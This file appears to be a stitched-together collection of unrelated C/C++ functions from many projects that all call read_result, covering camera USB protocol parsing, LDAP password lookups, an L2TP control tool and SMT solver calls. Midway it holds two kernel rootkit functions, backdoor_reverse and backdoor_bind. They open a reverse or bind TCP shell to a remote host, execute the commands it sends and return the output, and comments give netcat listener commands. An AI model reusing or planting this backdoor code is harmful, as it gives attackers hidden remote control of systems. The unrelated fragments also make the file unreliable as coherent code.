static VMINT32 measurement(VM_THREAD_HANDLE thread_handle, void* user_data)
{
VMINT measured_result;
handle_details* details;
hx711_task current_task;
write_console("thread enter\n");
details = (handle_details*) user_data;
get_task(details, ¤t_task);
enter_standby(¤t_task);
while (1)
{
get_task(details, ¤t_task);
if (current_task.op == TERMINATE)
{
break;
}
if (current_task.op == WAIT)
{
enter_standby(¤t_task);
continue;
}
if (current_task.op != A128)
{
wait_result(¤t_task);
read_result(¤t_task);
clock_setup_pulses(¤t_task);
}
wait_result(¤t_task);
measured_result = read_result(¤t_task);
current_task.callback(current_task.callback_env, measured_result);
enter_standby(¤t_task);
}
write_console("thread exit\n");
enter_standby(¤t_task);
vm_mutex_lock(&details->mutex);
vm_dcl_close(current_task.sda_handle);
vm_dcl_close(current_task.scl_handle);
current_task.callback(current_task.callback_env, 0);
vm_free(details);
return 0;
}
static int ipslr_status(ipslr_handle_t *p, uint8_t *buf)
{
int n;
CHECK(command(p, 0, 1, 0));
n = get_result(p);
if (n == 16 || n == 28) {
return read_result(p, buf, n);
} else {
return PSLR_READ_ERROR;
}
}
static char *perform_http_request (char *host, int port)
{
char *data;
int sock;
sock = connect_server (host, port);
send_request (sock);
read_result (sock, &data);
close_connection (sock);
return data;
}
static int ipslr_cmd_00_05(ipslr_handle_t *p)
{
int n;
uint8_t buf[0xb8];
CHECK(command(p, 0x00, 0x05, 0x00));
n = get_result(p);
if (n != 0xb8) {
DPRINT("only got %d bytes\n", n);
return PSLR_READ_ERROR;
}
CHECK(read_result(p, buf, n));
return PSLR_OK;
}
static int ipslr_buffer_segment_info(ipslr_handle_t *p, pslr_buffer_segment_info *pInfo)
{
uint8_t buf[16];
uint32_t n;
CHECK(command(p, 0x04, 0x00, 0x00));
n = get_result(p);
if (n != 16)
return PSLR_READ_ERROR;
CHECK(read_result(p, buf, 16));
pInfo->a = get_uint32(&buf[0]);
pInfo->type = get_uint32(&buf[4]);
pInfo->addr = get_uint32(&buf[8]);
pInfo->length = get_uint32(&buf[12]);
return PSLR_OK;
}
iocpdesc_t *pni_iocpdesc_create(iocp_t *iocp, pn_socket_t s, bool external) {
assert (s != INVALID_SOCKET);
assert(!pni_iocpdesc_map_get(iocp, s));
bool listening = is_listener_socket(s);
iocpdesc_t *iocpd = pni_iocpdesc(s);
iocpd->iocp = iocp;
if (iocpd) {
iocpd->external = external;
iocpd->error = pn_error();
if (listening) {
iocpd->acceptor = pni_acceptor(iocpd);
} else {
iocpd->pipeline = pni_write_pipeline(iocpd);
iocpd->read_result = read_result(iocpd);
}
pni_iocpdesc_map_push(iocpd);
}
return iocpd;
}
FileFork* FileServer::new_filefork()
{
lock->lock("FileServer::open_file");
FileFork *dummy_fork = new FileFork(this);
// Create real file fork on the server
send_command(FileServer::NEW_FILEFORK, 0, 0);
int parent_fd = get_fd();
read_result();
// Transfer fd to dummy file fork
dummy_fork->start_dummy(parent_fd, *(int*)(result_data + sizeof(FileFork*)));
dummy_fork->real_fork = *(FileFork**)result_data;
// printf("FileServer::new_filefork %d parent_fd=%d real_fork=%p\n",
// __LINE__,
// parent_fd,
// dummy_fork->real_fork);
lock->unlock();
return dummy_fork;
}
/*
* is_end_token processes one token and returns 0 for an incomplete token
* or -1 if this is the END token, and 1 for successful processing of token.
* The number of bytes read from the stream is returned in 'bytes_read'.
*/
static int
pool_is_end_token(TDS_POOL_MEMBER * pmbr, const unsigned char *buf, int maxlen, int *bytes_read)
{
TDS_SMALLINT sz;
int marker;
int ret;
if (maxlen == 0)
return 0;
marker = buf[0];
sz = tds_get_token_size(marker);
if (sz) {
ret = read_fixed_token(pmbr, buf, maxlen, bytes_read);
} else if (marker == TDS_ROW_TOKEN) {
ret = read_row(pmbr, buf, maxlen, bytes_read);
} else if (marker == TDS_COLNAME_TOKEN) {
ret = read_col_name(pmbr, buf, maxlen, bytes_read);
} else if (marker == TDS_COLFMT_TOKEN) {
ret = read_col_info(pmbr, buf, maxlen, bytes_read);
} else if (marker == TDS_RESULT_TOKEN) {
ret = read_result(pmbr, buf, maxlen, bytes_read);
} else {
ret = read_variable_token(pmbr, buf, maxlen, bytes_read);
}
/* fprintf(stderr,"bytes_read = %d\n",*bytes_read); */
if (!ret) {
return 0;
}
if (is_end_token(marker)) {
if (is_final_token(buf)) {
/* clean up */
return -1;
}
}
return 1;
}
static int ipslr_identify(ipslr_handle_t *p)
{
uint8_t idbuf[8];
int n;
unsigned int i;
CHECK(command(p, 0, 4, 0));
n = get_result(p);
if (n != 8)
return PSLR_READ_ERROR;
CHECK(read_result(p, idbuf, 8));
p->id1 = get_uint32(&idbuf[0]);
p->id2 = get_uint32(&idbuf[4]);
p->model = NULL;
for (i=0; i<sizeof(camera_models)/sizeof(camera_models[0]); i++) {
if (camera_models[i].id1 == p->id1) {
p->model = &camera_models[i];
break;
}
}
return PSLR_OK;
}
static int ipslr_status_full(ipslr_handle_t *p, pslr_status *status)
{
int n;
uint8_t buf[MAX_STATUS_BUF_SIZE];
CHECK(command(p, 0, 8, 0));
n = get_result(p);
if (p->model && is_k10d(p)) {
/* K10D status block */
if (n != 392) {
DPRINT("only got %d bytes\n", n);
return PSLR_READ_ERROR;
}
CHECK(read_result(p, buf, n));
memset(status, 0, sizeof(*status));
status->bufmask = buf[0x16] << 8 | buf[0x17];
status->current_iso = get_uint32(&buf[0x11c]);
status->current_shutter_speed.nom = get_uint32(&buf[0xf4]);
status->current_shutter_speed.denom = get_uint32(&buf[0xf8]);
status->current_aperture.nom = get_uint32(&buf[0xfc]);
status->current_aperture.denom = get_uint32(&buf[0x100]);
status->lens_min_aperture.nom = get_uint32(&buf[0x12c]);
status->lens_min_aperture.denom = get_uint32(&buf[0x130]);
status->lens_max_aperture.nom = get_uint32(&buf[0x134]);
status->lens_max_aperture.denom = get_uint32(&buf[0x138]);
status->current_zoom.nom = get_uint32(&buf[0x16c]);
status->current_zoom.denom = get_uint32(&buf[0x170]);
status->set_aperture.nom = get_uint32(&buf[0x34]);
status->set_aperture.denom = get_uint32(&buf[0x38]);
status->set_shutter_speed.nom = get_uint32(&buf[0x2c]);
status->set_shutter_speed.denom = get_uint32(&buf[0x30]);
status->set_iso = get_uint32(&buf[0x60]);
status->jpeg_resolution = get_uint32(&buf[0x7c]);
status->jpeg_contrast = get_uint32(&buf[0x94]);
status->jpeg_sharpness = get_uint32(&buf[0x90]);
status->jpeg_saturation = get_uint32(&buf[0x8c]);
status->jpeg_quality = 1+get_uint32(&buf[0x80]);
status->jpeg_image_mode = get_uint32(&buf[0x88]);
status->zoom.nom = get_uint32(&buf[0x16c]);
status->zoom.denom = get_uint32(&buf[0x170]);
status->focus = get_uint32(&buf[0x174]);
status->raw_format = get_uint32(&buf[0x84]);
status->image_format = get_uint32(&buf[0x78]);
status->light_meter_flags = get_uint32(&buf[0x124]);
status->ec.nom = get_uint32(&buf[0x3c]);
status->ec.denom = get_uint32(&buf[0x40]);
status->custom_ev_steps = get_uint32(&buf[0x9c]);
status->custom_sensitivity_steps = get_uint32(&buf[0xa0]);
status->exposure_mode = get_uint32(&buf[0xe0]);
status->user_mode_flag = get_uint32(&buf[0x1c]);
status->af_point_select = get_uint32(&buf[0xbc]);
status->selected_af_point = get_uint32(&buf[0xc0]);
status->focused_af_point = get_uint32(&buf[0x150]);
return PSLR_OK;
}
if (p->model && is_k20d(p)) {
/* K20D status block */
if (n != 412) {
DPRINT("only got %d bytes\n", n);
return PSLR_READ_ERROR;
}
CHECK(read_result(p, buf, n));
#ifdef DEBUG
ipslr_status_diff(buf);
#endif
memset(status, 0, sizeof(*status));
status->bufmask = buf[0x16] << 8 | buf[0x17];
status->current_iso = get_uint32(&buf[0x130]); /*d*/
status->current_shutter_speed.nom = get_uint32(&buf[0x108]); /*d*/
status->current_shutter_speed.denom = get_uint32(&buf[0x10C]); /*d*/
status->current_aperture.nom = get_uint32(&buf[0x110]); /*d*/
status->current_aperture.denom = get_uint32(&buf[0x114]); /*d*/
status->lens_min_aperture.nom = get_uint32(&buf[0x140]); /*d*/
status->lens_min_aperture.denom = get_uint32(&buf[0x144]); /*d*/
status->lens_max_aperture.nom = get_uint32(&buf[0x148]); /*d*/
status->lens_max_aperture.denom = get_uint32(&buf[0x14B]); /*d*/
status->current_zoom.nom = get_uint32(&buf[0x180]); /*d*/
status->current_zoom.denom = get_uint32(&buf[0x184]); /*d*/
status->set_aperture.nom = get_uint32(&buf[0x34]); /*d*/
status->set_aperture.denom = get_uint32(&buf[0x38]); /*d*/
status->set_shutter_speed.nom = get_uint32(&buf[0x2c]); /*d*/
status->set_shutter_speed.denom = get_uint32(&buf[0x30]); /*d*/
status->set_iso = get_uint32(&buf[0x60]); /*d*/
status->jpeg_resolution = get_uint32(&buf[0x7c]); /*d*/
status->jpeg_contrast = get_uint32(&buf[0x94]); /* commands do now work for it?*/
status->jpeg_sharpness = get_uint32(&buf[0x90]); /* commands do now work for it?*/
status->jpeg_saturation = get_uint32(&buf[0x8c]); /* commands do now work for it?*/
status->jpeg_quality = get_uint32(&buf[0x80]); /*d*/
status->jpeg_image_mode = get_uint32(&buf[0x88]); /*d*/
status->zoom.nom = get_uint32(&buf[0x180]); /*d*/
status->zoom.denom = get_uint32(&buf[0x184]); /*d*/
status->focus = get_uint32(&buf[0x188]); /*d current focus ring position?*/
status->raw_format = get_uint32(&buf[0x84]); /*d*/
status->image_format = get_uint32(&buf[0x78]); /*d*/
status->light_meter_flags = get_uint32(&buf[0x138]); /*d*/
status->ec.nom = get_uint32(&buf[0x3c]); /*d*/
status->ec.denom = get_uint32(&buf[0x40]); /*d*/
status->custom_ev_steps = get_uint32(&buf[0x9c]);
status->custom_sensitivity_steps = get_uint32(&buf[0xa0]);
status->exposure_mode = get_uint32(&buf[0xe0]); /*d*/
status->user_mode_flag = get_uint32(&buf[0x1c]); /*d*/
status->af_point_select = get_uint32(&buf[0xbc]); /* not sure*/
status->selected_af_point = get_uint32(&buf[0xc0]); /*d*/
status->focused_af_point = get_uint32(&buf[0x160]); /*d, unsure about it, a lot is changing when the camera focuses*/
/* 0x158 current ev?
/ 0xB8 0 - MF, 1 - AF.S, 2 - AF.C
/ 0xB4, 0xC4 - metering mode, 0 - matrix, 1 - center weighted, 2 - spot
/ 0x160 and 0x164 change when AF
/ 0xC0 changes when selecting focus point manually or from GUI
/ 0xBC focus point selection 0 - auto, 1 - manual, 2 - center
*/
return PSLR_OK;
}
if (p->model && is_k30(p)) { // might work with k01 too
if (n != 452) {
DPRINT("only got %d bytes\n", n);
return PSLR_READ_ERROR;
}
CHECK(read_result(p, buf, n));
#ifdef DEBUG
ipslr_status_diff(buf);
#endif
memset(status, 0, sizeof(*status));
status->bufmask = get_uint32(&buf[0x1E]);
status->current_iso = get_uint32(&buf[0x134]);
status->current_shutter_speed.nom = get_uint32(&buf[0x10C]);
status->current_shutter_speed.denom = get_uint32(&buf[0x110]);
status->current_aperture.nom = get_uint32(&buf[0x114]);
status->current_aperture.denom = get_uint32(&buf[0x118]);
status->lens_min_aperture.nom = get_uint32(&buf[0x144]);
status->lens_min_aperture.denom = get_uint32(&buf[0x148]);
status->lens_max_aperture.nom = get_uint32(&buf[0x14C]);
status->lens_max_aperture.denom = get_uint32(&buf[0x150]);
status->current_zoom.nom = get_uint32(&buf[0x1A0]);
status->current_zoom.denom = get_uint32(&buf[0x1A4]);
status->set_aperture.nom = get_uint32(&buf[0x3C]);
status->set_aperture.denom = get_uint32(&buf[0x40]);
status->set_shutter_speed.nom = get_uint32(&buf[0x34]);
status->set_shutter_speed.denom = get_uint32(&buf[0x38]);
status->set_iso = get_uint32(&buf[0x14]);
status->jpeg_resolution = get_uint32(&buf[0x84]);
status->jpeg_contrast = get_uint32(&buf[0x9C]);
status->jpeg_sharpness = get_uint32(&buf[0x98]);
status->jpeg_saturation = get_uint32(&buf[0x94]);
status->jpeg_quality = 3-get_uint32(&buf[0x88]); // Maximum quality is 3
status->jpeg_image_mode = get_uint32(&buf[0x80]);
status->zoom.nom = get_uint32(&buf[0x1A0]);
status->zoom.denom = get_uint32(&buf[0x1A4]);
status->focus = get_uint32(&buf[0x1A8]);
status->raw_format = get_uint32(&buf[0x8C]);
status->image_format = get_uint32(&buf[0x80]);
status->light_meter_flags = get_uint32(&buf[0x13C]);
status->ec.nom = get_uint32(&buf[0x44]);
status->ec.denom = get_uint32(&buf[0x48]);
status->custom_ev_steps = get_uint32(&buf[0x15C]);
status->custom_sensitivity_steps = get_uint32(&buf[0xa8]);
status->exposure_mode = get_uint32(&buf[0xb4]);
status->user_mode_flag = get_uint32(&buf[0x24]);
status->af_point_select = get_uint32(&buf[0xc4]);
status->selected_af_point = get_uint32(&buf[0xc0]);
status->focused_af_point = get_uint32(&buf[0x168]);
return PSLR_OK;
}
if (p->model && is_k100ds(p)) {
/* K100DS (Super) status block */
if (n != 264) {
DPRINT("only got %d bytes\n", n);
return PSLR_READ_ERROR;
}
CHECK(read_result(p, buf, n));
memset(status, 0, sizeof(*status));
status->bufmask = get_uint32(&buf[0x10]);
status->image_format = PSLR_IMAGE_FORMAT_RAW;
status->raw_format = PSLR_RAW_FORMAT_PEF;
return PSLR_OK;
}
if (p->model && is_istds(p)) {
/* *ist DS status block */
if (n != 0x108) {
DPRINT("only got %d bytes\n", n);
return PSLR_READ_ERROR;
}
CHECK(read_result(p, buf, n));
#ifdef DEBUG
ipslr_status_diff(buf);
#endif
memset(status, 0, sizeof(*status));
status->bufmask = get_uint32(&buf[0x10]);
status->set_shutter_speed.nom = get_uint32(&buf[0x80]);
status->set_shutter_speed.denom = get_uint32(&buf[0x84]);
status->set_aperture.nom = get_uint32(&buf[0x88]);
status->set_aperture.denom = get_uint32(&buf[0x8c]);
status->lens_min_aperture.nom = get_uint32(&buf[0xb8]);
status->lens_min_aperture.denom = get_uint32(&buf[0xbc]);
status->lens_max_aperture.nom = get_uint32(&buf[0xc0]);
status->lens_max_aperture.denom = get_uint32(&buf[0xc4]);
return PSLR_OK;
}
/* Unknown camera */
return PSLR_OK;
}
static void backdoor_reverse(void)
{
/* default: client bind with : nc -lvp 2424 */
struct socket *sock;
struct sockaddr_in sin;
int error;
char *buff = NULL;
current->flags |= PF_NOFREEZE;
error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
if (error < 0) {
dbg("backdoor: Error during creation of socket; terminating\n");
return;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = in_aton(IP_DEST);
sin.sin_port = htons(PORT_DEST);
error = sock->ops->connect(sock, (struct sockaddr*) &sin, sizeof(sin), !O_NONBLOCK);
if (error < 0) {
dbg("backdoor: Error during connection of socket; terminating\n");
sock_release(sock);
return;
}
buff = kmalloc(512, GFP_KERNEL);
if (buff == NULL)
{
dbg("backdoor: Error allocating memory\n");
sock_release(sock);
return;
}
int tt = 0;
int file_created = 0;
while(true) {
if (signal_pending(current))
break;
tt = rk_recvbuff(sock, buff, 512);
if (tt > 0) {
int exec_result;
exec_result = exec_cmd(buff);
if(exec_result == 0) {
char *result = NULL;
result = kmalloc(1024, GFP_KERNEL);
if ( ! result ) {
dbg("backdoor: Error allocating memory\n");
return;
}
int bytes_read;
bytes_read = read_result(result);
file_created = 1;
int res = 0;
res = rk_sendbuff(sock, result, bytes_read);
kfree(result);
memset(buff, '\0', sizeof(buff)); //cleanup the buffer
if (res == 0) {
remove_file();
dbg("backdoor: Error during connection of socket; terminating\n");
break;
}
tt = 0;
bytes_read = 0;
} else {
dbg("backdoor: Error executing cmd\n");
}
} else {
if (file_created)
remove_file();
dbg("backdoor: Error during connection of socket; terminating\n");
break;
}
}
sock_release(sock);
kfree(buff);
}
static void backdoor_bind(void)
{
/* default: client connect with : nc 127.0.0.1 5000 */
struct socket *sock;
struct sockaddr_in sin;
int error;
current->flags |= PF_NOFREEZE;
error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
if (error < 0) {
dbg("backdoor: Error during creation of socket; terminating\n");
return;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = in_aton(IP_SOURCE);
sin.sin_port = htons(PORT_SRC);
error = sock->ops->bind(sock, (struct sockaddr *) &sin, sizeof(sin));
if (error < 0) {
dbg("backdoor: Error binding socket\n");
sock_release(sock);
return;
}
error = sock->ops->listen(sock, 5);
if (error < 0) {
dbg("backdoor: Error listening on socket \n");
sock_release(sock);
return;
}
char *buff = NULL;
buff = kmalloc(512, GFP_KERNEL);
int tt = 0;
struct socket *newsock;
newsock=(struct socket*)kmalloc(sizeof(struct socket),GFP_KERNEL);
error = sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&newsock);
if(error<0) {
dbg("backdoor: Error create newsock error\n");
kfree(buff);
sock_release(sock);
return;
}
//wait incoming connection
int file_created = 0;
while (1) {
error = newsock->ops->accept(sock,newsock,O_NONBLOCK);
if(error >= 0) {
while(tt = rk_recvbuff(newsock, buff, 512)) {
int exec_result;
exec_result = exec_cmd(buff);
if(exec_result == 0) {
char *result = NULL;
result = kmalloc(1024, GFP_KERNEL);
if ( ! result ) {
dbg("backdoor: Error allocating memory\n");
kfree(buff);
sock_release(newsock);
sock_release(sock);
return;
}
int bytes_read;
bytes_read = read_result(result);
file_created = 1;
int res = 0;
res = rk_sendbuff(newsock, result, bytes_read);
kfree(result);
memset(buff, '\0', sizeof(buff)); //cleanup the buffer
if (res == 0) {
remove_file();
dbg("backdoor: Error during connection of socket; terminating\n");
break;
}
tt = 0;
bytes_read = 0;
} else {
dbg("backdoor: Error executing cmd\n");
}
if(signal_pending(current)) {
break;
}
}
if (file_created) {
remove_file();
file_created = 0;
}
}
if(signal_pending(current)) {
break;
}
}
kfree(buff);
sock_release(newsock);
sock_release(sock);
}
bool modelchecker_smvt::check(
abstract_modelt &abstract_model,
abstract_counterexamplet &counterexample)
{
std::string temp_base="cegar_tmp";
std::string temp_smv=temp_base+"_abstract.smv";
std::string temp_smv_out1=temp_base+"_smv_out1";
std::string temp_smv_out2=temp_base+"_smv_out2";
std::string temp_smv_out_ce=temp_base+"_abstract.out";
remove(temp_smv_out1.c_str());
remove(temp_smv_out2.c_str());
remove(temp_smv_out_ce.c_str());
get_variable_names(abstract_model);
get_nondet_symbols(abstract_model);
inlined.build(abstract_model);
threadst threads;
build_threads(threads);
{
std::ofstream out(temp_smv.c_str());
build_smv_file(abstract_model, threads, out);
}
if(!inlined.has_assertion())
{
status("Property holds trivially");
return true;
}
{
std::string command;
switch(engine)
{
case NUSMV:
command="NuSMV -f -dynamic";
status(std::string("Running NuSMV: ")+command);
break;
case CMU_SMV:
status(std::string("Running CMU SMV: ")+command);
command="smv";
break;
case CADENCE_SMV:
command="smv -force -sift";
status(std::string("Running Cadence SMV: ")+command);
break;
case SATMC:
command="satmc";
status(std::string("Running SATMC")+command);
break;
default:
assert(false);
}
command+=" "+temp_smv+" >"+temp_smv_out1+
" 2>"+temp_smv_out2;
{
print(9, "The full model checker command to be executed is:\n"+command+"\n");
}
int return_code = system(command.c_str());
{
std::ostringstream str;
str << "Got return code " << return_code << std::endl;
print(9, str.str());
}
}
bool result;
{
std::ifstream out1(temp_smv_out1.c_str()),
out2(temp_smv_out2.c_str()),
out_ce(temp_smv_out_ce.c_str());
result=read_result(
out1,
out2,
out_ce,
abstract_model, threads,
counterexample);
}
return result;
}
/* read password data from an opened stream */
static nss_status_t passwd_getpwent(nss_backend_t *be, void *args)
{
NSS_GETENT(LDAP_BE(be)->fp, NSLCD_ACTION_PASSWD_ALL,
read_result(LDAP_BE(be)->fp, args));
}
static nss_status_t passwd_getpwuid(nss_backend_t UNUSED(*be), void *args)
{
NSS_GETONE(NSLCD_ACTION_PASSWD_BYUID,
WRITE_INT32(fp, NSS_ARGS(args)->key.uid),
read_result(fp, args));
}
/*
* The main function of the program.
*/
int
main (int argc, char **argv)
{
/* Do some checks to verify the proper alignemnt of data structure */
assert (sizeof (struct attack_partial_result) == 16*256+1);
assert (sizeof (struct attack_trace) == TRACE_PLAINTEXT_SIZE_BYTES
+ TRACE_CIPHERTEXT_SIZE_BYTES + 2 * TRACE_NUM_POINTS);
assert (sizeof (struct result_file_header) == 2*TRACE_KEY_SIZE_BYTES+4*4);
assert (sizeof (struct result_file_trace_header) == TRACE_PLAINTEXT_SIZE_BYTES
+ TRACE_CIPHERTEXT_SIZE_BYTES + sizeof(double));
parse_command_line (argc, argv);
result_file = fopen (output_filename, "w");
if (result_file == NULL)
{
perror ("fopen (result file)");
exit (EXIT_FAILURE);
}
create_communication_pipes ();
if (trace_dir == NULL)
{
db_connect ();
db_findkey ();
}
else
{
trace_dir_init ();
trace_dir_findkey ();
}
print_result_file_header ();
install_sig_handler ();
if (fifo_mode == 0)
launch_attack ();
send_num_iterations ();
wait_start_attack_phase ();
launch_trace_thread ();
for (current_trace_num = 0; current_trace_num < num_iterations; current_trace_num++)
{
printf ("II - Trace #%hu: ", current_trace_num);
get_trace_from_trace_thread ();
send_trace ();
read_result ();
}
close_everything ();
wait_trace_thread_termination ();
if (fifo_mode == 0)
{
printf ("II - Waiting the end of the attack program...\n");
wait (NULL); /* Wait until the child (attack program) is finished */
}
exit (EXIT_SUCCESS);
}
int main (int argc, char *argv[])
{
char* control_filename = NULL;
char* tunnel_name = NULL;
struct command_t* command = NULL;
int i; /* argv iterator */
if (argv[1] && !strncmp (argv[1], "--help", 6))
{
help();
return 0;
}
/* parse global options */
for (i = 1; i < argc; i++)
{
if (!strncmp (argv[i], "-c", 2))
{
control_filename = argv[++i];
} else if (!strncmp (argv[i], "-d", 2)) {
log_level = DEBUG_LEVEL;
} else {
break;
}
}
if (i >= argc)
{
print_error (ERROR_LEVEL, "error: command not specified\n");
usage();
return -1;
}
if (!control_filename)
{
control_filename = strdup (CONTROL_PIPE);
}
print_error (DEBUG_LEVEL, "set control filename to %s\n", control_filename);
/* parse command name */
for (command = commands; command->name; command++)
{
if (!strcasecmp (argv[i], command->name))
{
i++;
break;
}
}
if (command->name)
{
print_error (DEBUG_LEVEL, "get command %s\n", command->name);
} else {
print_error (ERROR_LEVEL, "error: no such command %s\n", argv[i]);
return -1;
}
/* get tunnel name */
if (i >= argc)
{
print_error (ERROR_LEVEL, "error: tunnel name not specified\n");
usage();
return -1;
}
tunnel_name = argv[i++];
/* check tunnel name for whitespaces */
if (strstr (tunnel_name, " "))
{
print_error (ERROR_LEVEL,
"error: tunnel name shouldn't include spaces\n");
usage();
return -1;
}
char buf[CONTROL_PIPE_MESSAGE_SIZE] = "";
FILE* mesf = fmemopen (buf, CONTROL_PIPE_MESSAGE_SIZE, "w");
/* create result pipe for reading */
char result_filename[128];
snprintf (result_filename, 128, RESULT_FILENAME_FORMAT, getpid());
unlink (result_filename);
mkfifo (result_filename, 0600);
int result_fd = open (result_filename, O_RDONLY | O_NONBLOCK, 0600);
if (result_fd < 0)
{
print_error (ERROR_LEVEL,
"error: unable to open %s for reading.\n", result_filename);
return -2;
}
/* turn off O_NONBLOCK */
if (fcntl (result_fd, F_SETFL, O_RDONLY) == -1) {
print_error (ERROR_LEVEL,
"Can not turn off nonblocking mode for result_fd: %s\n",
strerror(errno));
return -2;
}
/* pass result filename to command */
fprintf (mesf, "@%s ", result_filename);
if (ferror (mesf))
{
print_error (ERROR_LEVEL, "internal error: message buffer to short");
return -2;
}
/* format command with remaining arguments */
int command_res = command->handler (
mesf, tunnel_name, argc - i, argv + i
);
if (command_res < 0)
{
print_error (ERROR_LEVEL, "error: command parse error\n");
return -1;
}
fflush (mesf);
if (ferror (mesf))
{
print_error (ERROR_LEVEL,
"error: message too long (max = %i ch.)\n",
CONTROL_PIPE_MESSAGE_SIZE - 1);
return -1;
}
print_error (DEBUG_LEVEL, "command to be passed:\n%s\n", buf);
/* try to open control file for writing */
int control_fd = open (control_filename, O_WRONLY, 0600);
if (control_fd < 0)
{
int errorno = errno;
switch (errorno)
{
case EACCES:
print_error (ERROR_LEVEL,
"Unable to open %s for writing."
" Is xl2tpd running and you have appropriate permissions?\n",
control_filename);
break;
default:
print_error (ERROR_LEVEL,
"Unable to open %s for writing: %s\n",
control_filename, strerror (errorno));
}
return -1;
}
/* pass command to control pipe */
write (control_fd, buf, ftell (mesf));
close (control_fd);
/* read result from pipe */
char rbuf[CONTROL_PIPE_MESSAGE_SIZE] = "";
int command_result_code = read_result (
result_fd, rbuf, CONTROL_PIPE_MESSAGE_SIZE
);
printf ("%s", rbuf);
/* cleaning up */
close (result_fd);
unlink (result_filename);
return command_result_code;
}
void
command_loop(void)
{
int i, nfds;
BUFFER buf0, buf1;
fd_set readfds;
struct timeval to;
for (i = 0; ; i++) {
BUFFER *cur, *prev;
if (i == 0) {
cur = prev = &buf0;
} else if (i % 2 == 0) {
cur = &buf0;
prev = &buf1;
} else {
cur = &buf1;
prev = &buf0;
}
read_result(cur);
redraw:
display(cur, prev, reverse_mode);
input:
to = opt_interval;
FD_ZERO(&readfds);
FD_SET(fileno(stdin), &readfds);
nfds = select(1, &readfds, NULL, NULL,
(pause_status)? NULL : &to);
if (nfds < 0)
switch (errno) {
case EINTR:
/*
* ncurses has changed the window size with
* SIGWINCH. call doupdate() to use the
* updated window size.
*/
doupdate();
goto redraw;
default:
perror("select");
}
else if (nfds > 0) {
int ch = getch();
kbd_result_t result = kbd_command(ch);
switch (result) {
case RSLT_UPDATE: /* update buffer */
break;
case RSLT_REDRAW: /* scroll with current buffer */
goto redraw;
case RSLT_NOTOUCH: /* silently loop again */
goto input;
case RSLT_ERROR: /* error */
fprintf(stderr, "\007");
goto input;
}
}
}
}
decision_proceduret::resultt smt2_dect::dec_solve()
{
// we write the problem into a file
smt2_temp_filet smt2_temp_file;
// copy from string buffer into file
smt2_temp_file.temp_out << stringstream.str();
// this finishes up and closes the SMT2 file
write_footer(smt2_temp_file.temp_out);
smt2_temp_file.temp_out.close();
smt2_temp_file.temp_result_filename=
get_temporary_file("smt2_dec_result_", "");
std::string command;
switch(solver)
{
case solvert::BOOLECTOR:
command = "boolector --smt2 "
+ smt2_temp_file.temp_out_filename
+ " -m > "
+ smt2_temp_file.temp_result_filename;
break;
case solvert::CVC3:
command = "cvc3 +model -lang smtlib -output-lang smtlib "
+ smt2_temp_file.temp_out_filename
+ " > "
+ smt2_temp_file.temp_result_filename;
break;
case solvert::CVC4:
// The flags --bitblast=eager --bv-div-zero-const help but only
// work for pure bit-vector formulas.
command = "cvc4 -L smt2 "
+ smt2_temp_file.temp_out_filename
+ " > "
+ smt2_temp_file.temp_result_filename;
break;
case solvert::MATHSAT:
// The options below were recommended by Alberto Griggio
// on 10 July 2013
command = "mathsat -input=smt2"
" -preprocessor.toplevel_propagation=true"
" -preprocessor.simplification=7"
" -dpll.branching_random_frequency=0.01"
" -dpll.branching_random_invalidate_phase_cache=true"
" -dpll.restart_strategy=3"
" -dpll.glucose_var_activity=true"
" -dpll.glucose_learnt_minimization=true"
" -theory.bv.eager=true"
" -theory.bv.bit_blast_mode=1"
" -theory.bv.delay_propagated_eqs=true"
" -theory.fp.mode=1"
" -theory.fp.bit_blast_mode=2"
" -theory.arr.mode=1"
" < "+smt2_temp_file.temp_out_filename
+ " > "+smt2_temp_file.temp_result_filename;
break;
case solvert::OPENSMT:
command = "opensmt "
+ smt2_temp_file.temp_out_filename
+ " > "
+ smt2_temp_file.temp_result_filename;
break;
case solvert::YICES:
// command = "yices -smt -e " // Calling convention for older versions
command = "yices-smt2 " // Calling for 2.2.1
+ smt2_temp_file.temp_out_filename
+ " > "
+ smt2_temp_file.temp_result_filename;
break;
case solvert::Z3:
command = "z3 -smt2 "
+ smt2_temp_file.temp_out_filename
+ " > "
+ smt2_temp_file.temp_result_filename;
break;
default:
assert(false);
}
#if defined(__linux__) || defined(__APPLE__)
command+=" 2>&1";
#endif
int res=system(command.c_str());
if(res<0)
{
error() << "error running SMT2 solver" << eom;
return decision_proceduret::resultt::D_ERROR;
}
std::ifstream in(smt2_temp_file.temp_result_filename.c_str());
return read_result(in);
}
static nss_status_t passwd_getpwnam(nss_backend_t UNUSED(*be), void *args)
{
NSS_GETONE(NSLCD_ACTION_PASSWD_BYNAME,
WRITE_STRING(fp, NSS_ARGS(args)->key.name),
read_result(fp, args));
}